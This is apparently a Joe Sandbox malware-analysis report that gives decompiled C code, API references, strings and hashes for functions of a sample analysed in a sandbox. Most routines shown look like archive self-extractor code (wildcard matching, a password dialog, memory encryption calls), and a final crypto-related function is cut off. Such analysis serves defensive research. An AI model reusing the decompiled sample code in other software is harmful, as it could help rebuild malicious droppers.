0x0087fbab
0x0087fbad
0x0087fbb2
0x0087fb92
0x0087fb92
0x0087fb95
0x0087fb96
0x0087fb98
0x0087fb9a
0x0087fb9c
0x0087fba1
0x0087fba1
0x0087fbb5
0x0087fbb7
0x0087fbb9
0x00000000
0x00000000
0x0087fbbf
0x0087fbc2
0x0087fbc4
0x0087fbc6
0x00000000
0x0087fbc8
0x0087fbc8
0x0087fbcb
0x00000000
0x0087fbcb
0x00000000
0x0087fbc6
0x0087fcaa
0x0087fcad
0x0087fcb2
0x00000000
0x0087fcb5
0x0087fb48
0x0087fb48
0x0087fb4f
0x0087fb50
0x0087fb52
0x0087fb57
0x0087fcb6
0x0087fcba
0x0087fcba
0x00000000

APIs

_free.LIBCMT ref: 0087FCA4

Part of subcall function 0087D96C: IsProcessorFeaturePresent.KERNEL32(00000017,0087D95B,00000003,?,00000000,0087D720,00000000,00000016,?,?,0087D968,00000000,00000000,00000000,00000000,00000000), ref: 0087D96E
Part of subcall function 0087D96C: GetCurrentProcess.KERNEL32(C0000417,?,00000003,0087E188), ref: 0087D990
Part of subcall function 0087D96C: TerminateProcess.KERNEL32(00000000,?,00000003,0087E188), ref: 0087D997

Strings

*?, xrefs: 0087FB7B
., xrefs: 0087FE5B

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 04a8c1315428eb77e5661f47ed1524956a01f530d4904b9d9e4da6d5b0807b3e
Instruction ID: 9c70df71af481111204d653968368b5cf4801d7eb318722d8577ea43ebf0c1d3
Opcode Fuzzy Hash: 04a8c1315428eb77e5661f47ed1524956a01f530d4904b9d9e4da6d5b0807b3e
Instruction Fuzzy Hash: 6E51B071E00219AFDF15DFA9C881AADBBF5FF88314F248169E948E7345E631DE018B50

Uniqueness

Uniqueness Score: -1.00%

Function 00862E7E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00862E7E() {
				void* __ecx;
				signed int _t23;
				signed int _t25;
				void* _t27;
				void* _t31;
				signed int _t35;
				void* _t39;
				void* _t40;
				signed int _t41;
				intOrPtr _t42;
				void* _t46;
				signed int _t49;
				void* _t50;
				signed int _t51;
				void* _t52;
				signed short* _t53;
				signed short* _t55;
				signed short* _t56;
				void* _t57;

				_t56 =  *(_t57 + 0x14);
				_t55 =  *(_t57 + 0x1c);
				 *(_t57 + 0x18) = 0x2a;
				_t39 = 0x2e;
				while(1) {
					 *(_t57 + 0x18) = _t56;
					_t51 = E00862FF0( *_t55 & 0x0000ffff,  *((intOrPtr*)(_t57 + 0x24))) & 0x0000ffff;
					_t41 = E00862FF0( *_t56 & 0x0000ffff,  *((intOrPtr*)(_t57 + 0x24))) & 0x0000ffff;
					_t56 =  &(_t56[1]);
					_t49 = _t41;
					_t23 = _t41;
					if(_t49 == 0) {
						break;
					}
					if(_t49 ==  *(_t57 + 0x14)) {
						_t25 =  *_t56 & 0x0000ffff;
						if(_t25 == 0) {
							L28:
							return 1;
						}
						_t50 = 0x2e;
						_t40 = 0;
						if(_t25 != _t50) {
							L26:
							while( *_t55 != _t40) {
								_push( *((intOrPtr*)(_t57 + 0x24)));
								_push(_t55);
								_push(_t56);
								_t27 = E00862E7E();
								_t55 =  &(_t55[1]);
								if(_t27 != 0) {
									goto L28;
								}
							}
							L27:
							return 0;
						}
						_t42 =  *((intOrPtr*)(_t57 + 0x10));
						_t52 = 0x2a;
						if( *((intOrPtr*)(_t42 + 4)) != _t52 ||  *((intOrPtr*)(_t42 + 6)) != 0) {
							_push(_t50);
							_push(_t55);
							_t53 = E008750E0(_t42);
							if(( *(_t57 + 0x18))[2] != _t40) {
								if(_t53 == 0) {
									goto L26;
								}
								_t55 = _t53;
								_t31 = E0087A94D(_t56, 0x8885a0);
								_pop(_t46);
								if(_t31 != 0) {
									goto L26;
								}
								_t54 =  &(_t53[1]);
								_push(0x2e);
								_push( &(_t53[1]));
								if(E008750E0(_t46) != 0) {
									goto L26;
								}
								_t35 = E00862FCF( &(( *(_t57 + 0x14))[2]), _t54,  *((intOrPtr*)(_t57 + 0x24)));
								asm("sbb al, al");
								return  ~_t35 + 1;
							}
							if(_t53 == 0 || _t53[1] == _t40) {
								_t40 = 1;
							}
							return _t40;
						} else {
							goto L28;
						}
					}
					if(_t41 == 0x3f) {
						if(_t51 == 0) {
							goto L27;
						}
						L11:
						_t55 =  &(_t55[1]);
						continue;
					}
					if(_t23 == _t51) {
						goto L11;
					}
					if(_t23 != _t39) {
						goto L27;
					}
					if(_t51 == 0 || _t51 == 0x5c || _t51 == _t39) {
						continue;
					} else {
						goto L27;
					}
				}
				return _t23 & 0xffffff00 | _t51 == 0x00000000;
			}

0x00862e82
0x00862e87
0x00862e8e
0x00862e96
0x00862e97
0x00862e9f
0x00862eac
0x00862eb9
0x00862ebc
0x00862ebf
0x00862ec1
0x00862ec6
0x00000000
0x00000000
0x00862ed1
0x00862f08
0x00862f0f
0x00862fbc
0x00000000
0x00862fbc
0x00862f17
0x00862f18
0x00862f1d
0x00000000
0x00862fb3
0x00862fa1
0x00862fa5
0x00862fa6
0x00862fa7
0x00862fac
0x00862fb1
0x00000000
0x00000000
0x00862fb1
0x00862fb8
0x00000000
0x00862fb8
0x00862f23
0x00862f29
0x00862f2e
0x00862f3a
0x00862f3b
0x00862f41
0x00862f4d
0x00862f61
0x00000000
0x00000000
0x00862f69
0x00862f6b
0x00862f71
0x00862f74
0x00000000
0x00000000
0x00862f76
0x00862f79
0x00862f7b
0x00862f85
0x00000000
0x00000000
0x00862f94
0x00862f9b
0x00000000
0x00862f9d
0x00862f51
0x00862f59
0x00862f59
0x00000000
0x00000000
0x00000000
0x00000000
0x00862f2e
0x00862ed6
0x00862efd
0x00000000
0x00000000
0x00862f03
0x00862f03
0x00000000
0x00862f03
0x00862edb
0x00000000
0x00000000
0x00862ee0
0x00000000
0x00000000
0x00862ee9
0x00000000
0x00862ef5
0x00000000
0x00862ef5
0x00862ee9
0x00000000

APIs

_wcschr.LIBVCRUNTIME ref: 00862F3C
_wcschr.LIBVCRUNTIME ref: 00862F7C

Strings

*, xrefs: 00862E8E

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcschr
String ID: *
API String ID: 2691759472-163128923
Opcode ID: a6782d4e300209da746c094b269e24e8b410104c41ad80941e2a5b54fc4551d4
Instruction ID: 6d027b71379b8e3c3963817e897b828ac2f37d7ffdff78d0329f24b3e70abf73
Opcode Fuzzy Hash: a6782d4e300209da746c094b269e24e8b410104c41ad80941e2a5b54fc4551d4
Instruction Fuzzy Hash: DF312B32548F12AA8A30BA549901A7BB3F5FBA1B54F1780DEFC84D7181EF528D429362

Uniqueness

Uniqueness Score: -1.00%

Function 008704CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E008704CE(void* __ecx, void* __edx, void* __eflags, char _a3, char _a4, char _a7, char _a8, intOrPtr* _a8200) {
				void* __edi;
				void* __ebp;
				intOrPtr _t20;
				short* _t31;
				intOrPtr* _t33;
				signed int _t41;
				intOrPtr* _t42;
				void* _t44;

				E00873AC0(0x2004);
				_push(0x80000);
				_t42 = E0087AA2B(__ecx);
				if(_t42 == 0) {
					E0086180A(0x8b2b44);
				}
				_t33 = _a8200;
				 *_t42 = 0;
				_t41 = 0;
				while(1) {
					_push(0x1000);
					_push( &_a3);
					_push(0);
					_push(0);
					_push( &_a4);
					_push( *_t33);
					_t20 = E00870354(_t41, 0);
					 *_t33 = _t20;
					if(_t20 == 0) {
						break;
					}
					if( *_t42 != 0 || _a8 != 0x7b) {
						if(_a8 == 0x7d || E00878793( &_a8) + _t41 > 0x3fffb) {
							break;
						} else {
							E0087C007(_t42,  &_a8);
							_t41 = E00878793(_t42);
							_t44 = _t44 + 0xc;
							if(_t41 == 0) {
								L11:
								if(_a7 == 0) {
									E0087B4DF(_t42 + _t41 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t41 - 1; // -1
							_t31 = _t42 + _t6 * 2;
							while( *_t31 == 0x20) {
								_t31 = _t31 - 2;
								_t41 = _t41 - 1;
								if(_t41 != 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x008704d3
0x008704dc
0x008704e6
0x008704eb
0x008704f2
0x008704f2
0x008704f7
0x00870502
0x00870505
0x00870577
0x00870577
0x00870580
0x00870581
0x00870582
0x00870587
0x00870588
0x0087058a
0x0087058f
0x00870593
0x00000000
0x00000000
0x0087050c
0x0087051c
0x00000000
0x00870532
0x00870538
0x00870543
0x00870545
0x0087054a
0x00870560
0x00870565
0x00870570
0x00870576
0x00000000
0x00870565
0x0087054c
0x0087054f
0x00870552
0x00870558
0x0087055b
0x0087055e
0x00000000
0x00000000
0x00000000
0x0087055e
0x00000000
0x00870552
0x00000000
0x00000000
0x00000000
0x0087050c
0x008705a5

APIs

_wcslen.LIBCMT ref: 00870523
_wcslen.LIBCMT ref: 0087053E

Strings

}, xrefs: 00870516

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: de1ba4d5a435d0fe649dabdb5d0a725d0f55a259954e791d36970415731d4718
Instruction ID: 98a1c6d791551ff5f7806849424828aacc8aa9ceaf66a71221d7d86fa920ac04
Opcode Fuzzy Hash: de1ba4d5a435d0fe649dabdb5d0a725d0f55a259954e791d36970415731d4718
Instruction Fuzzy Hash: 9A21057290431ADAD730EB68D845A6BB3DCFF91750F14842AF648D3149EB64DD488FA3

Uniqueness

Uniqueness Score: -1.00%

Function 00872D7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00872D7C(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				int _t19;
				void* _t21;
				signed int _t24;
				void* _t26;
				void* _t28;
				signed int _t31;
				signed int _t33;
				signed int _t35;
				struct HWND__* _t46;
				void* _t50;

				E00873AC0(0x1000);
				if( *0x8b2b42 == 0) {
					_t46 =  *0x8aea28; // 0xa016e
					if(_a4 == 2) {
						_t24 = IsWindowVisible(_t46);
						asm("sbb eax, eax");
						_t46 = _t46 &  ~_t24;
					}
					E008634FD(_a8, _a12,  &_v4100, 0x800);
					_t19 = DialogBoxParamW( *0x8aea24, L"GETPASSWORD1", _t46, E008702B0,  &_v4100);
					_t28 = _a16;
					if(_t19 == 0) {
						E00865960(_t28, _t28, 0x888574);
						 *0x8aea1c = 1;
						_t21 = 0;
					} else {
						_t33 = 0x40;
						memcpy(_t28, 0x8be0c0, _t33 << 2);
						_t50 = _t50 + 0xc;
						_t21 = 1;
						asm("movsw");
					}
					if( *((char*)(_t28 + 0x100)) != 0) {
						_t31 = 0x40;
						_t21 = memcpy(0x8b2a42, _t28, _t31 << 2);
						asm("movsw");
					}
					return _t21;
				}
				_t35 = 0x40;
				_t26 = memcpy(_a16, 0x8b2a42, _t35 << 2);
				asm("movsw");
				return _t26;
			}

0x00872d84
0x00872d95
0x00872daf
0x00872db5
0x00872db8
0x00872dc0
0x00872dc2
0x00872dc2
0x00872dd7
0x00872df4
0x00872dfa
0x00872dff
0x00872e1b
0x00872e20
0x00872e27
0x00872e01
0x00872e03
0x00872e0b
0x00872e0b
0x00872e0f
0x00872e10
0x00872e10
0x00872e30
0x00872e34
0x00872e3c
0x00872e3e
0x00872e3e
0x00000000
0x00872e40
0x00872da1
0x00872da2
0x00872da4
0x00000000

APIs

IsWindowVisible.USER32(000A016E), ref: 00872DB8
DialogBoxParamW.USER32(GETPASSWORD1,000A016E,Function_000102B0,?), ref: 00872DF4

Strings

GETPASSWORD1, xrefs: 00872DE9

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1
API String ID: 3157717868-3292211884
Opcode ID: e1d8979d17dbe092af3675a786a79a3613f2ea5042edce9b61b22082f8cb0ecf
Instruction ID: de253bf1e4d67e80ae5cff684f844fa7b3d5efff94333967699047daac1add79
Opcode Fuzzy Hash: e1d8979d17dbe092af3675a786a79a3613f2ea5042edce9b61b22082f8cb0ecf
Instruction Fuzzy Hash: FE112B322101186AEB22DE24DC46FEB37A4F70A754F188074FD4DE7295D6B4ED44D764

Uniqueness

Uniqueness Score: -1.00%

Function 008658AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0086582B: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0086584A
Part of subcall function 0086582B: GetProcAddress.KERNEL32(0089CFE8,CryptUnprotectMemory), ref: 0086585A

GetCurrentProcessId.KERNEL32(?,?,?,008658A4), ref: 00865938

Strings

CryptProtectMemory failed, xrefs: 008658EF
CryptUnprotectMemory failed, xrefs: 00865930

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 0e608071252402f60b31a96e0947d75c606f9676b3faede2cb25b3a421aced19
Instruction ID: 2b0bae988e4faec07872f0b12d9357bd129e4e4a6e65ed2633a32ef38b156480
Opcode Fuzzy Hash: 0e608071252402f60b31a96e0947d75c606f9676b3faede2cb25b3a421aced19
Instruction Fuzzy Hash: AC112132A00A25EBDF156F24EC1096E3F69FB00B70F0A4026EC16EB252CB359D018B90

Uniqueness

Uniqueness Score: -1.00%

Function 008611E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E008611E6(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, signed int _a28) {
				struct HWND__* _t20;
				struct HWND__* _t21;

				if(_a8 == 0x30) {
					E00864921(0x8b2b58, _a4);
				} else {
					_t27 = _a8 - 0x110;
					if(_a8 == 0x110) {
						E00864948(0x8b2b58, __edx, _t27, _a4, _a20, _a28 & 1);
						if((_a28 & 0x00000001) != 0) {
							_t20 =  *0x8c9128(_a4);
							if(_t20 != 0) {
								_t21 = GetDlgItem(_t20, 0x3021);
								if(_t21 != 0 && (_a28 & 0x00000008) != 0) {
									SetWindowTextW(_t21, 0x888574);
								}
							}
						}
					}
				}
				return 0;
			}

0x008611ed
0x00861250
0x008611ef
0x008611ef
0x008611f6
0x0086120c
0x00861215
0x0086121a
0x00861222
0x0086122a
0x00861232
0x00861240
0x00861240
0x00861232
0x00861222
0x00861215
0x008611f6
0x00861258

APIs

Part of subcall function 00864948: _swprintf.LIBCMT ref: 0086496E
Part of subcall function 00864948: _strlen.LIBCMT ref: 0086498F
Part of subcall function 00864948: SetDlgItemTextW.USER32(?,00893154,?), ref: 008649EF
Part of subcall function 00864948: GetWindowRect.USER32(?,?), ref: 00864A29
Part of subcall function 00864948: GetClientRect.USER32(?,?), ref: 00864A35

GetDlgItem.USER32(00000000,00003021), ref: 0086122A
SetWindowTextW.USER32(00000000,00888574), ref: 00861240

Strings

0, xrefs: 008611E9

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 90ad3538f7deb75cc1baf2f7c6d64c7b83cebd7b02e46a238a1ce87a2701a5de
Instruction ID: af9c3c15144624ec219693f2a4ede8f5637da05fc551e6288c6766714556870e
Opcode Fuzzy Hash: 90ad3538f7deb75cc1baf2f7c6d64c7b83cebd7b02e46a238a1ce87a2701a5de
Instruction Fuzzy Hash: AAF08130140248AADF169FA4C86EBF93F68FF45315F094054FE84D52A2DB78C494AA50

Uniqueness

Uniqueness Score: -1.00%

Function 008680E5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E008680E5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v44;
				void* _t8;
				char* _t14;
				char* _t15;
				intOrPtr _t16;

				_t8 = E008680AB(_a4);
				_t16 = _a12;
				_t14 = "x";
				if(_t16 < 0x63) {
					if(_t8 == 0) {
						_t14 = 0x888574;
					}
					_t15 = L"z%s%02d";
				} else {
					if(_t8 == 0) {
						_t14 = 0x888574;
					}
					_t15 = L"z%s%d";
				}
				_push(_t16 + 1);
				E008639A9( &_v44, 0x14, _t15, _t14);
				return E008638FD(_a4,  &_v44, _a8);
			}

0x008680ef
0x008680f4
0x008680f7
0x008680ff
0x00868113
0x00868115
0x00868115
0x0086811a
0x00868101
0x00868103
0x00868105
0x00868105
0x0086810a
0x0086810a
0x00868122
0x0086812b
0x00868144

APIs

_swprintf.LIBCMT ref: 0086812B

Strings

z%s%d, xrefs: 0086810A
z%s%02d, xrefs: 0086811A, 00868124

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _swprintf
String ID: z%s%02d$z%s%d
API String ID: 589789837-468824935
Opcode ID: a18a6b8f13f2ec3d4650c4e915cfc8e448148798f45d8e787ab7d1149ce9b83e
Instruction ID: 2d9ebb5e13ba8ca68a5b668ab4e429034a854064ab24555f787fd1cf6a5fb8ef
Opcode Fuzzy Hash: a18a6b8f13f2ec3d4650c4e915cfc8e448148798f45d8e787ab7d1149ce9b83e
Instruction Fuzzy Hash: 30F0B475540108E7CF00BE88CC02CEA7BAAFB5A340F418125FF59E7151DE71DE4A87A2

Uniqueness

Uniqueness Score: -1.00%

Function 008648FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008648FE(void* __ecx) {
				struct HRSRC__* _t3;
				void* _t5;

				_t5 = __ecx;
				_t3 = FindResourceW(GetModuleHandleW(0), L"RTL", 5);
				if(_t3 != 0) {
					 *((char*)(_t5 + 0x64)) = 1;
					return _t3;
				}
				return _t3;
			}

0x00864901
0x00864911
0x00864919
0x0086491b
0x00000000
0x0086491b
0x00864920

APIs

GetModuleHandleW.KERNEL32(00000000,?,008640B5,?), ref: 00864903
FindResourceW.KERNEL32(00000000,RTL,00000005,?,008640B5,?), ref: 00864911

Strings

RTL, xrefs: 0086490B

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: ef4c3afd120ca35c12865a43e0c9d072082ba726812f8b0dc3d503631171806a
Instruction ID: 8de93e6b3986658acfe704fbe84cb318067a2a785f0eec031e99ceb1d63974c0
Opcode Fuzzy Hash: ef4c3afd120ca35c12865a43e0c9d072082ba726812f8b0dc3d503631171806a
Instruction Fuzzy Hash: BDC01231244710DAD630A7356C0DB872D45BB00B11F450444B142DA2E0EDB5E444C761

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ze5tCopHgrlItmsTQGIZcUK1.exePID: 6384, Parent PID: 832COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	1550
Total number of Limit Nodes:	22

Executed Functions

Function 009764D0 Relevance: 104.0, APIs: 21, Strings: 36, Instructions: 4261
COMMONCrypto

Download Yara Rule

C-Code - Quality: 65%

			E009764D0(void* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
